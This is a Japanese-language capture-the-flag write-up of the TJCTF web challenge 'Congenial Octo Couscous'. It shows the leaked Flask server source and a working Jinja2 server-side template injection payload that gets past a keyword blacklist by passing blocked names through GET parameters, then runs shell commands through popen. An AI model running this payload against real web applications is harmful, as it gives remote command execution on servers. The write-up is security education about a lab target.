Written by avz92
Team Congenial-Octo-Couscous is looking to replace one of its members for the Battlecode competition, who carried the team too hard and broke his back. Until a neural net can take his place, the team wants a 4th member. Figure out how to join the team and read the secret strategy guide to get the flag.
http://congenial_octo_couscous.tjctf.org/
Hint: Source code would probably be useful
なんかの登録ができる。
Strategy Guideを表示しようとすると、アクセス拒否される。
アクセス拒否を回避するのが、目的のようだ。
調査
/
- 特に気になる所がない
- POST
/apply
- POSTデータ
fname=hamayan&lname=hamayan&email=hamayan%40example.com&username=hamayanhamayan
- トップページからjs経由で送られて、
Hello, hamayanhamayan. Your application will be processed in 7 weeks.
みたいに返答が来る。
- POSTデータ
/strategyguide.txt
- ACCESS DENIED
ヒントにソースコードを見ろとあるけど、全然わかんねぇ。
解説を見る
(4) TJCTF - Congenial Octo Couscous [ Web ] [ Writeup ] [ DeadlockTeam ] [ Sql3t0 ] - YouTube
なるほどなぁ
SSTI
Usernameに{{config}}
を入れてみると、なにやら色々出てくる。
Hello, <Config {'ENV': 'production', 'DEBUG': False, 'TESTING': False, 'PROPAGATE_EXCEPTIONS': None, 'PRESERVE_CONTEXT_ON_EXCEPTION': None, 'SECRET_KEY': None, 'PERMANENT_SESSION_LIFETIME': datetime.timedelta(31), 'USE_X_SENDFILE': False, 'SERVER_NAME': None, 'APPLICATION_ROOT': '/', 'SESSION_COOKIE_NAME': 'session', 'SESSION_COOKIE_DOMAIN': None, 'SESSION_COOKIE_PATH': None, 'SESSION_COOKIE_HTTPONLY': True, 'SESSION_COOKIE_SECURE': False, 'SESSION_COOKIE_SAMESITE': None, 'SESSION_REFRESH_EACH_REQUEST': True, 'MAX_CONTENT_LENGTH': None, 'SEND_FILE_MAX_AGE_DEFAULT': datetime.timedelta(0, 43200), 'TRAP_BAD_REQUEST_ERRORS': None, 'TRAP_HTTP_EXCEPTIONS': False, 'EXPLAIN_TEMPLATE_LOADING': False, 'PREFERRED_URL_SCHEME': 'http', 'JSON_AS_ASCII': True, 'JSON_SORT_KEYS': True, 'JSONIFY_PRETTYPRINT_REGULAR': False, 'JSONIFY_MIMETYPE': 'application/json', 'TEMPLATES_AUTO_RELOAD': None, 'MAX_COOKIE_SIZE': 4093, 'SERVER_FILEPATH': '/secretserverfile.py'}>. Your application will be processed in 4 weeks.
なるほど。
/secretserverfile.py
というのが抜き取れている。とりあえずアクセスしてみると、ソースコードが抜き取れる。
ヒントが指してるのはこれか。ここまでたどり着くのが長いな。
from flask import Flask, render_template, request, render_template_string from multiprocessing import Pool import random import re app = Flask(__name__,template_folder='templates') app.config['SERVER_FILEPATH']='/secretserverfile.py' def check_chars(text=''): if text=='': return False if '{' in text or '}' in text: text2=re.sub(r'\s','',text).lower() illegal = ['"', 'class', '[', ']', 'dict', 'sys', 'os', 'eval', 'exec', 'config.'] if any([x in text2 for x in illegal]): return False for i in range(10): if str(i) in text: return False return text def async_function(message): return render_template_string(message) app.jinja_env.globals.update(check_chars=check_chars) @app.route('/') def main(): return render_template('index.html') @app.route(app.config['SERVER_FILEPATH']) def server(): return open('server.py').read() @app.route('/strategyguide.txt') def guide(): #TODO: add authentication to endpoint return 'ACCESS DENIED' @app.route('/apply',methods=["POST"]) def apply(): if request.form.get('username') is not None: if check_chars(request.form.get('username')): message='Hello, '+check_chars(request.form.get('username'))+'. Your application will be processed in '+ str(random.randint(3,7)) +' weeks.' result=None with Pool(processes=1) as pool: return_val=pool.apply_async(async_function,(message,)) try: result=return_val.get(timeout=1.50) except: result='Server Timeout' return result else: return 'Server Error' if __name__ == "__main__": app.run(debug=True)
いつものPayloadsAllTheThingsをみると、結構たくさんのことができる。
{{(config|attr(request.args.x)|attr('__init__')|attr('__globals__')|attr('__getitem__')('__builtins__')|attr('__getitem__')('__import__')(request.args.l)|attr('popen')('id')|attr('read')())}}
これをuserdataに入れるといいのだが、URLに工夫が必要。
フィルターをバイパスするための工夫がそこにある。
/apply
ではなく、/apply?x=__class__&l=os
とする。
フィルタリングされている文字をgetパラメタで別途インジェクションする。
天才かな?
すると、idコマンドの結果が出てくる。
idの部分をcat strategyguide.txtにするとフラグが出てくる。